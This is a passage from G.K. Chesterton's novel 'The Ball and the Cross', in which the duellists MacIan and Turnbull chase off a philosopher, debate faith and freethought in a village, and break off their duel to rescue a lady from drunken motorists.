of you will be +conquered; one of you will be the conqueror. When it has been +done, nothing will alter it. Heroes, I give you the hospitality +fit for heroes. And I salute the survivor. Fall on!" + +The two men took their swords. Then MacIan said steadily: "Mr. +Turnbull, lend me your sword a moment." + +Turnbull, with a questioning glance, handed him the weapon. +MacIan took the second sword in his left hand and, with a violent +gesture, hurled it at the feet of little Mr. Wimpey. + +"Fight!" he said in a loud, harsh voice. "Fight me now!" + +Wimpey took a step backward, and bewildered words bubbled on his +lips. + +"Pick up that sword and fight me," repeated MacIan, with brows as +black as thunder. + +The little man turned to Turnbull with a gesture, demanding +judgement or protection. + +"Really, sir," he began, "this gentleman confuses..." + +"You stinking little coward," roared Turnbull, suddenly releasing +his wrath. "Fight, if you're so fond of fighting! Fight, if +you're so fond of all that filthy philosophy! If winning is +everything, go in and win! If the weak must go to the wall, go to +the wall! Fight, you rat! Fight, or if you won't fight--run!" + +And he ran at Wimpey, with blazing eyes. + +Wimpey staggered back a few paces like a man struggling with his +own limbs. Then he felt the furious Scotchman coming at him like +an express train, doubling his size every second, with eyes as +big as windows and a sword as bright as the sun. Something broke +inside him, and he found himself running away, tumbling over his +own feet in terror, and crying out as he ran. + +"Chase him!" shouted Turnbull as MacIan snatched up the sword and +joined in the scamper. "Chase him over a county! Chase him into +the sea! Shoo! Shoo! Shoo!" + +The little man plunged like a rabbit among the tall flowers, the +two duellists after him. Turnbull kept at his tail with savage +ecstasy, still shooing him like a cat. But MacIan, as he ran past +the South Sea idol, paused an instant to spring upon its +pedestal. For five seconds he strained against the inert mass. +Then it stirred; and he sent it over with a great crash among the +flowers, that engulfed it altogether. Then he went bounding after +the runaway. + +In the energy of his alarm the ex-Fellow of Magdalen managed to +leap the paling of his garden. The two pursuers went over it +after him like flying birds. He fled frantically down a long lane +with his two terrors on his trail till he came to a gap in the +hedge and went across a steep meadow like the wind. The two +Scotchmen, as they ran, kept up a cheery bellowing and waved +their swords. Up three slanting meadows, down four slanting +meadows on the other side, across another road, across a heath of +snapping bracken, through a wood, across another road, and to the +brink of a big pool, they pursued the flying philosopher. But +when he came to the pool his pace was so precipitate that he +could not stop it, and with a kind of lurching stagger, he fell +splash into the greasy water. Getting dripping to his feet, with +the water up to his knees, the worshipper of force and victory +waded disconsolately to the other side and drew himself on to the +bank. And Turnbull sat down on the grass and went off into +reverberations of laughter. A second afterwards the most +extraordinary grimaces were seen to distort the stiff face of +MacIan, and unholy sounds came from within. He had never +practised laughing, and it hurt him very much. + + + +VII. THE VILLAGE OF GRASSLEY-IN-THE-HOLE + +At about half past one, under a strong blue sky, Turnbull got up +out of the grass and fern in which he had been lying, and his +still intermittent laughter ended in a kind of yawn. + +"I'm hungry," he said shortly. "Are you?" + +"I have not noticed," answered MacIan. "What are you going to +do?" + +"There's a village down the road, past the pool," answered +Turnbull. "I can see it from here. I can see the whitewashed +walls of some cottages and a kind of corner of the church. How +jolly it all looks. It looks so--I don't know what the word +is--so sensible. Don't fancy I'm under any illusions about +Arcadian virtue and the innocent villagers. Men make beasts of +themselves there with drink, but they don't deliberately make +devils of themselves with mere talking. They kill wild animals in +the wild woods, but they don't kill cats to the God of Victory. +They don't----" He broke off and suddenly spat on the ground. + +"Excuse me," he said; "it was ceremonial. One has to get the +taste out of one's mouth." + +"The taste of what?" asked MacIan. + +"I don't know the exact name for it," replied Turnbull. "Perhaps +it is the South Sea Islands, or it may be Magdalen College." + +There was a long pause, and MacIan also lifted his large limbs +off the ground--his eyes particularly dreamy. + +"I know what you mean, Turnbull," he said, "but...I always +thought you people agreed with all that." + +"With all that about doing as one likes, and the individual, and +Nature loving the strongest, and all the things which that +cockroach talked about." + +Turnbull's big blue-grey eyes stood open with a grave +astonishment. + +"Do you really mean to say, MacIan," he said, "that you fancied +that we, the Free-thinkers, that Bradlaugh, or Holyoake, or +Ingersoll, believe all that dirty, immoral mysticism about +Nature? Damn Nature!" + +"I supposed you did," said MacIan calmly. "It seems to me your +most conclusive position." + +"And you mean to tell me," rejoined the other, "that you broke my +window, and challenged me to mortal combat, and tied a tradesman +up with ropes, and chased an Oxford Fellow across five +meadows--all under the impression that I am such an illiterate +idiot as to believe in Nature!" + +"I supposed you did," repeated MacIan with his usual mildness; +"but I admit that I know little of the details of your belief--or +disbelief." + +Turnbull swung round quite suddenly, and set off towards the +village. + +"Come along," he cried. "Come down to the village. Come down to +the nearest decent inhabitable pub. This is a case for beer." + +"I do not quite follow you," said the Highlander. + +"Yes, you do," answered Turnbull. "You follow me slap into the +inn-parlour. I repeat, this is a case for beer. We must have the +whole of this matter out thoroughly before we go a step farther. +Do you know that an idea has just struck me of great simplicity +and of some cogency. Do not by any means let us drop our +intentions of settling our differences with two steel swords. +But do you not think that with two pewter pots we might do what +we really have never thought of doing yet--discover what our +difference is?" + +"It never occurred to me before," answered MacIan with +tranquillity. "It is a good suggestion." + +And they set out at an easy swing down the steep road to the +village of Grassley-in-the-Hole. + +Grassley-in-the-Hole was a rude parallelogram of buildings, with +two thoroughfares which might have been called two high streets +if it had been possible to call them streets. One of these ways +was higher on the slope than the other, the whole parallelogram +lying aslant, so to speak, on the side of the hill. The upper of +these two roads was decorated with a big public house, a +butcher's shop, a small public house, a sweetstuff shop, a very +small public house, and an illegible signpost. The lower of the +two roads boasted a horse-pond, a post office, a gentleman's +garden with very high hedges, a microscopically small public +house, and two cottages. Where all the people lived who supported +all the public houses was in this, as in many other English +villages, a silent and smiling mystery. The church lay a little +above and beyond the village, with a square grey tower dominating +it decisively. + +But even the church was scarcely so central and solemn an +institution as the large public house, the Valencourt Arms. It +was named after some splendid family that had long gone bankrupt, +and whose seat was occupied by a man who had invented a hygienic +bootjack; but the unfathomable sentimentalism of the English +people insisted in regarding the Inn, the seat and the sitter in +it, as alike parts of a pure and marmoreal antiquity. And in the +Valencourt Arms festivity itself had some solemnity and decorum; +and beer was drunk with reverence, as it ought to be. Into the +principal parlour of this place entered two strangers, who found +themselves, as is always the case in such hostels, the object, +not of fluttered curiosity or pert inquiry, but of steady, +ceaseless, devouring ocular study. They had long coats down to +their heels, and carried under each coat something that looked +like a stick. One was tall and dark, the other short and +red-haired. They ordered a pot of ale each. + +"MacIan," said Turnbull, lifting his tankard, "the fool who +wanted us to be friends made us want to go on fighting. It is +only natural that the fool who wanted us to fight should make us +friendly. MacIan, your health!" + +Dusk was already dropping, the rustics in the tavern were already +lurching and lumbering out of it by twos and threes, crying +clamorous good nights to a solitary old toper that remained, +before MacIan and Turnbull had reached the really important part +of their discussion. + +MacIan wore an expression of sad bewilderment not uncommon with +him. "I am to understand, then," he said, "that you don't believe +in nature." + +"You may say so in a very special and emphatic sense," said +Turnbull. "I do not believe in nature, just as I do not believe +in Odin. She is a myth. It is not merely that I do not believe +that nature can guide us. It is that I do not believe that nature +exists." + +"Exists?" said MacIan in his monotonous way, settling his pewter +pot on the table. + +"Yes, in a real sense nature does not exist. I mean that nobody +can discover what the original nature of things would have been +if things had not interfered with it. The first blade of grass +began to tear up the earth and eat it; it was interfering with +nature, if there is any nature. The first wild ox began to tear +up the grass and eat it; he was interfering with nature, if there +is any nature. In the same way," continued Turnbull, "the human +when it asserts its dominance over nature is just as natural as +the thing which it destroys." + +"And in the same way," said MacIan almost dreamily, "the +superhuman, the supernatural is just as natural as the nature +which it destroys." + +Turnbull took his head out of his pewter pot in some anger. + +"The supernatural, of course," he said, "is quite another thing; +the case of the supernatural is simple. The supernatural does not +exist." + +"Quite so," said MacIan in a rather dull voice; "you said the +same about the natural. If the natural does not exist the +supernatural obviously can't." And he yawned a little over his +ale. + +Turnbull turned for some reason a little red and remarked +quickly, "That may be jolly clever, for all I know. But everyone +does know that there is a division between the things that as a +matter of fact do commonly happen and the things that don't. +Things that break the evident laws of nature----" + +"Which does not exist," put in MacIan sleepily. Turnbull struck +the table with a sudden hand. + +"Good Lord in heaven!" he cried---- + +"Who does not exist," murmured MacIan. + +"Good Lord in heaven!" thundered Turnbull, without regarding the +interruption. "Do you really mean to sit there and say that you, +like anybody else, would not recognize the difference between a +natural occurrence and a supernatural one--if there could be such +a thing? If I flew up to the ceiling----" + +"You would bump your head badly," cried MacIan, suddenly starting +up. "One can't talk of this kind of thing under a ceiling at all. +Come outside! Come outside and ascend into heaven!" + +He burst the door open on a blue abyss of evening and they +stepped out into it: it was suddenly and strangely cool. + +"Turnbull," said MacIan, "you have said some things so true and +some so false that I want to talk; and I will try to talk so that +you understand. For at present you do not understand at all. We +don't seem to mean the same things by the same words." + +He stood silent for a second or two and then resumed. + +"A minute or two ago I caught you out in a real contradiction. At +that moment logically I was right. And at that moment I knew I +was wrong. Yes, there is a real difference between the natural +and the supernatural: if you flew up into that blue sky this +instant, I should think that you were moved by God--or the devil. +But if you want to know what I really think...I must explain." + +He stopped again, abstractedly boring the point of his sword into +the earth, and went on: + +"I was born and bred and taught in a complete universe. The +supernatural was not natural, but it was perfectly reasonable. +Nay, the supernatural to me is more reasonable than the natural; +for the supernatural is a direct message from God, who is reason. +I was taught that some things are natural and some things divine. +I mean that some things are mechanical and some things divine. +But there is the great difficulty, Turnbull. The great difficulty +is that, according to my teaching, you are divine." + +"Me! Divine?" said Turnbull truculently. "What do you mean?" + +"That is just the difficulty," continued MacIan thoughtfully. "I +was told that there was a difference between the grass and a +man's will; and the difference was that a man's will was special +and divine. A man's free will, I heard, was supernatural." + +"Rubbish!" said Turnbull. + +"Oh," said MacIan patiently, "then if a man's free will isn't +supernatural, why do your materialists deny that it exists?" + +Turnbull was silent for a moment. Then he began to speak, but +MacIan continued with the same steady voice and sad eyes: + +"So what I feel is this: Here is the great divine creation I was +taught to believe in. I can understand your disbelieving in it, +but why disbelieve in a part of it? It was all one thing to me. +God had authority because he was God. Man had authority because +he was man. You cannot prove that God is better than a man; nor +can you prove that a man is better than a horse. Why permit any +ordinary thing? Why do you let a horse be saddled?" + +"Some modern thinkers disapprove of it," said Turnbull a little +doubtfully. + +"I know," said MacIan grimly; "that man who talked about love, +for instance." + +Turnbull made a humorous grimace; then he said: "We seem to be +talking in a kind of shorthand; but I won't pretend not to +understand you. What you mean is this: that you learnt about all +your saints and angels at the same time as you learnt about +common morality, from the same people, in the same way. And you +mean to say that if one may be disputed, so may the other. Well, +let that pass for the moment. But let me ask you a question in +turn. Did not this system of yours, which you swallowed whole, +contain all sorts of things that were merely local, the respect +for the chief of your clan, or such things; the village ghost, +the family feud, or what not? Did you not take in those things, +too, along with your theology?" + +MacIan stared along the dim village road, down which the last +straggler from the inn was trailing his way. + +"What you say is not unreasonable," he said. "But it is not quite +true. The distinction between the chief and us did exist; but it +was never anything like the distinction between the human and the +divine, or the human and the animal. It was more like the +distinction between one animal and another. But----" + +"Well?" said Turnbull. + +MacIan was silent. + +"Go on," repeated Turnbull; "what's the matter with you? What are +you staring at?" + +"I am staring," said MacIan at last, "at that which shall judge +us both." + +"Oh, yes," said Turnbull in a tired way, "I suppose you mean +God." + +"No, I don't," said MacIan, shaking his head. "I mean him." + +And he pointed to the half-tipsy yokel who was ploughing down the +road. + +"What do you mean?" asked the atheist. + +"I mean him," repeated MacIan with emphasis. "He goes out in the +early dawn; he digs or he ploughs a field. Then he comes back and +drinks ale, and then he sings a song. All your philosophies and +political systems are young compared to him. All your hoary +cathedrals, yes, even the Eternal Church on earth is new compared +to him. The most mouldering gods in the British Museum are new +facts beside him. It is he who in the end shall judge us all." + +And MacIan rose to his feet with a vague excitement. + +"What are you going to do?" + +"I am going to ask him," cried MacIan, "which of us is right." + +Turnbull broke into a kind of laugh. "Ask that intoxicated +turnip-eater----" he began. + +"Yes--which of us is right," cried MacIan violently. "Oh, you +have long words and I have long words; and I talk of every man +being the image of God; and you talk of every man being a citizen +and enlightened enough to govern. But if every man typifies God, +there is God. If every man is an enlightened citizen, there is +your enlightened citizen. The first man one meets is always man. +Let us catch him up." + +And in gigantic strides the long, lean Highlander whirled away +into the grey twilight, Turnbull following with a good-humoured +oath. + +The track of the rustic was easy to follow, even in the faltering +dark; for he was enlivening his wavering walk with song. It was +an interminable poem, beginning with some unspecified King +William, who (it appeared) lived in London town and who after the +second rise vanished rather abruptly from the train of thought. +The rest was almost entirely about beer and was thick with local +topography of a quite unrecognizable kind. The singer's step was +neither very rapid, nor, indeed, exceptionally secure; so the +song grew louder and louder and the two soon overtook him. + +He was a man elderly or rather of any age, with lean grey hair +and a lean red face, but with that remarkable rustic physiognomy +in which it seems that all the features stand out independently +from the face; the rugged red nose going out like a limb; the +bleared blue eyes standing out like signals. + +He gave them greeting with the elaborate urbanity of the slightly +intoxicated. MacIan, who was vibrating with one of his silent, +violent decisions, opened the question without delay. He +explained the philosophic position in words as short and simple +as possible. But the singular old man with the lank red face +seemed to think uncommonly little of the short words. He fixed +with a fierce affection upon one or two of the long ones. + +"Atheists!" he repeated with luxurious scorn. "Atheists! I +know their sort, master. Atheists! Don't talk to me about 'un. +Atheists!" + +The grounds of his disdain seemed a little dark and confused; but +they were evidently sufficient. MacIan resumed in some +encouragement: + +"You think as I do, I hope; you think that a man should be +connected with the Church; with the common Christian----" + +The old man extended a quivering stick in the direction of a +distant hill. + +"There's the church," he said thickly. "Grassley old church that +is. Pulled down it was, in the old squire's time, and----" + +"I mean," explained MacIan elaborately, "that you think that +there should be someone typifying religion, a priest----" + +"Priests!" said the old man with sudden passion. "Priests! I +know 'un. What they want in England? That's what I say. What +they want in England?" + +"They want you," said MacIan. + +"Quite so," said Turnbull, "and me; but they won't get us. +MacIan, your attempt on the primitive innocence does not seem +very successful. Let me try. What you want, my friend, is your +rights. You don't want any priests or churches. A vote, a right +to speak is what you----" + +"Who says I a'n't got a right to speak?" said the old man, facing +round in an irrational frenzy. "I got a right to speak. I'm a +man, I am. I don't want no votin' nor priests. I say a man's a +man; that's what I say. If a man a'n't a man, what is he? That's +what I say, if a man a'n't a man, what is he? When I sees a man, +I sez 'e's a man." + +"Quite so," said Turnbull, "a citizen." + +"I say he's a man," said the rustic furiously, stopping and +striking his stick on the ground. "Not a city or owt else. He's a +man." + +"You're perfectly right," said the sudden voice of MacIan, +falling like a sword. "And you have kept close to something the +whole world of today tries to forget." + +"Good night." + +And the old man went on wildly singing into the night. + +"A jolly old creature," said Turnbull; "he didn't seem able to +get much beyond that fact that a man is a man." + +"Has anybody got beyond it?" asked MacIan. + +Turnbull looked at him curiously. "Are you turning an agnostic?" +he asked. + +"Oh, you do not understand!" cried out MacIan. "We Catholics are +all agnostics. We Catholics have only in that sense got as far as +realizing that man is a man. But your Ibsens and your Zolas and +your Shaws and your Tolstoys have not even got so far." + + + +VIII. AN INTERLUDE OF ARGUMENT + +Morning broke in bitter silver along the grey and level plain; +and almost as it did so Turnbull and MacIan came out of a low, +scrubby wood on to the empty and desolate flats. They had walked +all night. + +They had walked all night and talked all night also, and if the +subject had been capable of being exhausted they would have +exhausted it. Their long and changing argument had taken them +through districts and landscapes equally changing. They had +discussed Haeckel upon hills so high and steep that in spite of +the coldness of the night it seemed as if the stars might burn +them. They had explained and re-explained the Massacre of St. +Bartholomew in little white lanes walled in with standing corn as +with walls of gold. They had talked about Mr. Kensit in dim and +twinkling pine woods, amid the bewildering monotony of the pines. +And it was with the end of a long speech from MacIan, +passionately defending the practical achievements and the solid +prosperity of the Catholic tradition, that they came out upon the +open land. + +MacIan had learnt much and thought more since he came out of the +cloudy hills of Arisaig. He had met many typical modern figures +under circumstances which were sharply symbolic; and, moreover, +he had absorbed the main modern atmosphere from the mere presence +and chance phrases of Turnbull, as such atmospheres can always be +absorbed from the presence and the phrases of any man of great +mental vitality. He had at last begun thoroughly to understand +what are the grounds upon which the mass of the modern world +solidly disapprove of her creed; and he threw himself into +replying to them with a hot intellectual enjoyment. + +"I begin to understand one or two of your dogmas, Mr. Turnbull," +he had said emphatically as they ploughed heavily up a wooded +hill. "And every one that I understand I deny. Take any one of +them you like. You hold that your heretics and sceptics have +helped the world forward and handed on a lamp of progress. I deny +it. Nothing is plainer from real history than that each of your +heretics invented a complete cosmos of his own which the next +heretic smashed entirely to pieces. Who knows now exactly what +Nestorius taught? Who cares? There are only two things that we +know for certain about it. The first is that Nestorius, as a +heretic, taught something quite opposite to the teaching of +Arius, the heretic who came before him, and something quite +useless to James Turnbull, the heretic who comes after. I defy +you to go back to the Free-thinkers of the past and find any +habitation for yourself at all. I defy you to read Godwin or +Shelley or the deists of the eighteenth century of the +nature-worshipping humanists of the Renaissance, without +discovering that you differ from them twice as much as you differ +from the Pope. You are a nineteenth-century sceptic, and you are +always telling me that I ignore the cruelty of nature. If you had +been an eighteenth-century sceptic you would have told me that I +ignore the kindness and benevolence of nature. You are an +atheist, and you praise the deists of the eighteenth century. +Read them instead of praising them, and you will find that their +whole universe stands or falls with the deity. You are a +materialist, and you think Bruno a scientific hero. See what he +said and you will think him an insane mystic. No, the great +Free-thinker, with his genuine ability and honesty, does not in +practice destroy Christianity. What he does destroy is the +Free-thinker who went before. Free-thought may be suggestive, it +may be inspiriting, it may have as much as you please of the +merits that come from vivacity and variety. But there is one +thing Free-thought can never be by any possibility--Free-thought +can never be progressive. It can never be progressive because it +will accept nothing from the past; it begins every time again +from the beginning; and it goes every time in a different +direction. All the rational philosophers have gone along +different roads, so it is impossible to say which has gone +farthest. Who can discuss whether Emerson was a better optimist +than Schopenhauer was pessimist? It is like asking if this corn +is as yellow as that hill is steep. No; there are only two things +that really progress; and they both accept accumulations of +authority. They may be progressing uphill and down; they may be +growing steadily better or steadily worse; but they have steadily +increased in certain definable matters; they have steadily +advanced in a certain definable direction; they are the only two +things, it seems, that ever _can_ progress. The first is strictly +physical science. The second is the Catholic Church." + +"Physical science and the Catholic Church!" said Turnbull +sarcastically; "and no doubt the first owes a great deal to the +second." + +"If you pressed that point I might reply that it was very +probable," answered MacIan calmly. "I often fancy that your +historical generalizations rest frequently on random instances; I +should not be surprised if your vague notions of the Church as +the persecutor of science was a generalization from Galileo. I +should not be at all surprised if, when you counted the +scientific investigations and discoveries since the fall of Rome, +you found that a great mass of them had been made by monks. But +the matter is irrelevant to my meaning. I say that if you want an +example of anything which has progressed in the moral world by +the same method as science in the material world, by continually +adding to without unsettling what was there before, then I say +that there _is_ only one example of it. And that is Us." + +"With this enormous difference," said Turnbull, "that however +elaborate be the calculations of physical science, their net +result can be tested. Granted that it took millions of books I +never read and millions of men I never heard of to discover the +electric light. Still I can see the electric light. But I cannot +see the supreme virtue which is the result of all your theologies +and sacraments." + +"Catholic virtue is often invisible because it is the normal," +answered MacIan. "Christianity is always out of fashion because +it is always sane; and all fashions are mild insanities. When +Italy is mad on art the Church seems too Puritanical; when +England is mad on Puritanism the Church seems too artistic. When +you quarrel with us now you class us with kingship and despotism; +but when you quarrelled with us first it was because we would not +accept the divine despotism of Henry VIII. The Church always +seems to be behind the times, when it is really beyond the times; +it is waiting till the last fad shall have seen its last summer. +It keeps the key of a permanent virtue." + +"Oh, I have heard all that!" said Turnbull with genial contempt. +"I have heard that Christianity keeps the key of virtue, and that +if you read Tom Paine you will cut your throat at Monte Carlo. It +is such rubbish that I am not even angry at it. You say that +Christianity is the prop of morals; but what more do you do? When +a doctor attends you and could poison you with a pinch of salt, +do you ask whether he is a Christian? You ask whether he is a +gentleman, whether he is an M.D.--anything but that. When a +soldier enlists to die for his country or disgrace it, do you ask +whether he is a Christian? You are more likely to ask whether he +is Oxford or Cambridge at the boat race. If you think your creed +essential to morals why do you not make it a test for these +things?" + +"We once did make it a test for these things," said MacIan +smiling, "and then you told us that we were imposing by force a +faith unsupported by argument. It seems rather hard that having +first been told that our creed must be false because we did use +tests, we should now be told that it must be false because we +don't. But I notice that most anti-Christian arguments are in the +same inconsistent style." + +"That is all very well as a debating-club answer," replied +Turnbull good-humouredly, "but the question still remains: Why +don't you confine yourself more to Christians if Christians are +the only really good men?" + +"Who talked of such folly?" asked MacIan disdainfully. "Do you +suppose that the Catholic Church ever held that Christians were +the only good men? Why, the Catholics of the Catholic Middle Ages +talked about the virtues of all the virtuous Pagans until +humanity was sick of the subject. No, if you really want to know +what we mean when we say that Christianity has a special power of +virtue, I will tell you. The Church is the only thing on earth +that can perpetuate a type of virtue and make it something more +than a fashion. The thing is so plain and historical that I +hardly think you will ever deny it. You cannot deny that it is +perfectly possible that tomorrow morning, in Ireland or in Italy, +there might appear a man not only as good but good in exactly the +same way as St. Francis of Assisi. Very well, now take the other +types of human virtue; many of them splendid. The English +gentleman of Elizabeth was chivalrous and idealistic. But can you +stand still here in this meadow and _be_ an English gentleman of +Elizabeth? The austere republican of the eighteenth century, with +his stern patriotism and his simple life, was a fine fellow. But +have you ever seen him? have you ever seen an austere republican? +Only a hundred years have passed and that volcano of +revolutionary truth and valour is as cold as the mountains of the +moon. And so it is and so it will be with the ethics which are +buzzing down Fleet Street at this instant as I speak. What phrase +would inspire the London clerk or workman just now? Perhaps that +he is a son of the British Empire on which the sun never sets; +perhaps that he is a prop of his Trades Union, or a +class-conscious proletarian something or other; perhaps merely +that he is a gentleman when he obviously is not. Those names and +notions are all honourable; but how long will they last? Empires +break; industrial conditions change; the suburbs will not last +for ever. What will remain? I will tell you. The Catholic Saint +will remain." + +"And suppose I don't like him?" said Turnbull. + +"On my theory the question is rather whether he will like you: or +more probably whether he will ever have heard of you. But I grant +the reasonableness of your query. You have a right, if you speak +as the ordinary man, to ask if you will like the saint. But as +the ordinary man you do like him. You revel in him. If you +dislike him it is not because you are a nice ordinary man, but +because you are (if you will excuse me) a sophisticated prig of a +Fleet Street editor. That is just the funny part of it. The human +race has always admired the Catholic virtues, however little it +can practise them; and oddly enough it has admired most those of +them that the modern world most sharply disputes. You complain of +Catholicism for setting up an ideal of virginity; it did nothing +of the kind. The whole human race set up an ideal of virginity; +the Greeks in Athene, the Romans in the Vestal fire, set up an +ideal of virginity. What then is your real quarrel with +Catholicism? Your quarrel can only be, your quarrel really only +is, that Catholicism has _achieved_ an ideal of virginity; that +it is no longer a mere piece of floating poetry. But if you, and +a few feverish men, in top hats, running about in a street in +London, choose to differ as to the ideal itself, not only from +the Church, but from the Parthenon whose name means virginity, +from the Roman Empire which went outwards from the virgin flame, +from the whole legend and tradition of Europe, from the lion who +will not touch virgins, from the unicorn who respects them, and +who make up together the bearers of your own national shield, +from the most living and lawless of your own poets, from +Massinger, who wrote the _Virgin Martyr_, from Shakespeare, who +wrote _Measure for Measure_--if you in Fleet Street differ from +all this human experience, does it never strike you that it may +be Fleet Street that is wrong?" + +"No," answered Turnbull; "I trust that I am sufficiently +fair-minded to canvass and consider the idea; but having +considered it, I think Fleet Street is right, yes--even if the +Parthenon is wrong. I think that as the world goes on new +psychological atmospheres are generated, and in these atmospheres +it is possible to find delicacies and combinations which in other +times would have to be represented by some ruder symbol. Every +man feels the need of some element of purity in sex; perhaps they +can only typify purity as the absence of sex. You will laugh if I +suggest that we may have made in Fleet Street an atmosphere in +which a man can be so passionate as Sir Lancelot and as pure as +Sir Galahad. But, after all, we have in the modern world erected +many such atmospheres. We have, for instance, a new and +imaginative appreciation of children." + +"Quite so," replied MacIan with a singular smile. "It has been +very well put by one of the brightest of your young authors, who +said: 'Unless you become as little children ye shall in no wise +enter the kingdom of heaven.' But you are quite right; there is a +modern worship of children. And what, I ask you, is this modern +worship of children? What, in the name of all the angels and +devils, is it except a worship of virginity? Why should anyone +worship a thing merely because it is small or immature? No; you +have tried to escape from this thing, and the very thing you +point to as the goal of your escape is only the thing again. Am +I wrong in saying that these things seem to be eternal?" + +And it was with these words that they came in sight of the great +plains. They went a little way in silence, and then James +Turnbull said suddenly, "But I _cannot_ believe in the thing." +MacIan answered nothing to the speech; perhaps it is +unanswerable. And indeed they scarcely spoke another word to +each other all that day. + + + +IX. THE STRANGE LADY + +Moonrise with a great and growing moon opened over all those +flats, making them seem flatter and larger than they were, +turning them to a lake of blue light. The two companions trudged +across the moonlit plain for half an hour in full silence. Then +MacIan stopped suddenly and planted his sword-point in the ground +like one who plants his tent-pole for the night. Leaving it +standing there, he clutched his black-haired skull with his great +claws of hands, as was his custom when forcing the pace of his +brain. Then his hands dropped again and he spoke. + +"I'm sure you're thinking the same as I am," he said; "how long +are we to be on this damned seesaw?" + +The other did not answer, but his silence seemed somehow solid as +assent; and MacIan went on conversationally. Neither noticed that +both had instinctively stood still before the sign of the fixed +and standing sword. + +"It is hard to guess what God means in this business. But he +means something--or the other thing, or both. Whenever we have +tried to fight each other something has stopped us. Whenever we +have tried to be reconciled to each other, something has stopped +us again. By the run of our luck we have never had time to be +either friends or enemies. Something always jumped out of the +bushes." + +Turnbull nodded gravely and glanced round at the huge and +hedgeless meadow which fell away towards the horizon into a +glimmering high road. + +"Nothing will jump out of bushes here anyhow," he said. + +"That is what I meant," said MacIan, and stared steadily at the +heavy hilt of his standing sword, which in the slight wind swayed +on its tempered steel like some huge thistle on its stalk. + +"That is what I meant; we are quite alone here. I have not heard +a horse-hoof or a footstep or the hoot of a train for miles. So I +think we might stop here and ask for a miracle." + +"Oh! might we?" said the atheistic editor with a sort of gusto of +disgust. + +"I beg your pardon," said MacIan, meekly. "I forgot your +prejudices." He eyed the wind-swung sword-hilt in sad meditation +and resumed: "What I mean is, we might find out in this quiet +place whether there really is any fate or any commandment against +our enterprise. I will engage on my side, like Elijah, to accept +a test from heaven. Turnbull, let us draw swords here in this +moonlight and this monstrous solitude. And if here in this +moonlight and solitude there happens anything to interrupt us--if +it be lightning striking our sword-blades or a rabbit running +under our legs--I will take it as a sign from God and we will +shake hands for ever." + +Turnbull's mouth twitched in angry humour under his red +moustache. He said: "I will wait for signs from God until I have +any signs of His existence; but God--or Fate--forbid that a man +of scientific culture should refuse any kind of experiment." + +"Very well, then," said MacIan, shortly. "We are more quiet here +than anywhere else; let us engage." And he plucked his +sword-point out of the turf. + +Turnbull regarded him for a second and a half with a baffling +visage almost black against the moonrise; then his hand made a +sharp movement to his hip and his sword shone in the moon. + +As old chess-players open every game with established gambits, +they opened with a thrust and parry, orthodox and even frankly +ineffectual. But in MacIan's soul more formless storms were +gathering, and he made a lunge or two so savage as first to +surprise and then to enrage his opponent. Turnbull ground his +teeth, kept his temper, and waiting for the third lunge, and the +worst, had almost spitted the lunger when a shrill, small cry +came from behind him, a cry such as is not made by any of the +beasts that perish. + +Turnbull must have been more superstitious than he knew, for he +stopped in the act of going forward. MacIan was brazenly +superstitious, and he dropped his sword. After all, he had +challenged the universe to send an interruption; and this was an +interruption, whatever else it was. An instant afterwards the +sharp, weak cry was repeated. This time it was certain that it +was human and that it was female. + +MacIan stood rolling those great blue Gaelic eyes that contrasted +with his dark hair. "It is the voice of God," he said again and +again. + +"God hasn't got much of a voice," said Turnbull, who snatched at +every chance of cheap profanity. "As a matter of fact, MacIan, it +isn't the voice of God, but it's something a jolly sight more +important--it is the voice of man--or rather of woman. So I think +we'd better scoot in its direction." + +MacIan snatched up his fallen weapon without a word, and the two +raced away towards that part of the distant road from which the +cry was now constantly renewed. + +They had to run over a curve of country that looked smooth but +was very rough; a neglected field which they soon found to be +full of the tallest grasses and the deepest rabbit-holes. +Moreover, that great curve of the countryside which looked so +slow and gentle when you glanced over it, proved to be highly +precipitous when you scampered over it; and Turnbull was twice +nearly flung on his face. MacIan, though much heavier, avoided +such an overthrow only by having the quick and incalculable feet +of the mountaineer; but both of them may be said to have leapt +off a low cliff when they leapt into the road. + +The moonlight lay on the white road with a more naked and +electric glare than on the grey-green upland, and though the +scene which it revealed was complicated, it was not difficult to +get its first features at a glance. + +A small but very neat black-and-yellow motor-car was standing +stolidly, slightly to the left of the road. A somewhat larger +light-green motor-car was tipped half-way into a ditch on the +same side, and four flushed and staggering men in evening dress +were tipped out of it. Three of them were standing about the +road, giving their opinions to the moon with vague but echoing +violence. The fourth, however, had already advanced on the +chauffeur of the black-and-yellow car, and was threatening him +with a stick. The chauffeur had risen to defend himself. By +his side sat a young lady. + +She was sitting bolt upright, a slender and rigid figure gripping +the sides of her seat, and her first few cries had ceased. She +was clad in close-fitting dark costume, a mass of warm brown hair +went out in two wings or waves on each side of her forehead; and +even at that distance it could be seen that her profile was of +the aquiline and eager sort, like a young falcon hardly free of +the nest. + +Turnbull had concealed in him somewhere a fund of common sense +and knowledge of the world of which he himself and his best +friends were hardly aware. He was one of those who take in much +of the shows of things absent-mindedly, and in an irrelevant +reverie. As he stood at the door of his editorial shop on Ludgate +Hill and meditated on the non-existence of God, he silently +absorbed a good deal of varied knowledge about the existence of +men. He had come to know types by instinct and dilemmas with a +glance; he saw the crux of the situation in the road, and what he +saw made him redouble his pace. + +He knew that the men were rich; he knew that they were drunk; and +he knew, what was worst of all, that they were fundamentally +frightened. And he knew this also, that no common ruffian (such +as attacks ladies in novels) is ever so savage and ruthless as a +coarse kind of gentleman when he is really alarmed. The reason is +not recondite; it is simply because the police-court is not such +a menacing novelty to the poor ruffian as it is to the rich. When +they came within hail and heard the voices, they confirmed all +Turnbull's anticipations. The man in the middle of the road was +shouting in a hoarse and groggy voice that the chauffeur had +smashed their car on purpose; that they must get to the Cri that +evening, and that he would jolly well have to take them there. +The chauffeur had mildly objected that he was driving a lady. +"Oh! we'll take care of the lady," said the red-faced young man, +and went off into gurgling and almost senile laughter. + +By the time the two champions came up, things had grown more +serious. The intoxication of the man talking to the chauffeur had +taken one of its perverse and catlike jumps into mere screaming +spite and rage. He lifted his stick and struck at the chauffeur, +who caught hold of it, and the drunkard fell backwards, dragging +him out of his seat on the car. Another of the rowdies rushed +forward booing in idiot excitement, fell over the chauffeur, and, +either by accident or design, kicked him as he lay. The drunkard +got to his feet again; but the chauffeur did not. + +The man who had kicked kept a kind of half-witted conscience or +cowardice, for he stood staring at the senseless body and +murmuring words of inconsequent self-justification, making +gestures with his hands as if he were arguing with somebody. But +the other three, with a mere whoop and howl of victory, were +boarding the car on three sides at once. It was exactly at this +moment that Turnbull fell among them like one 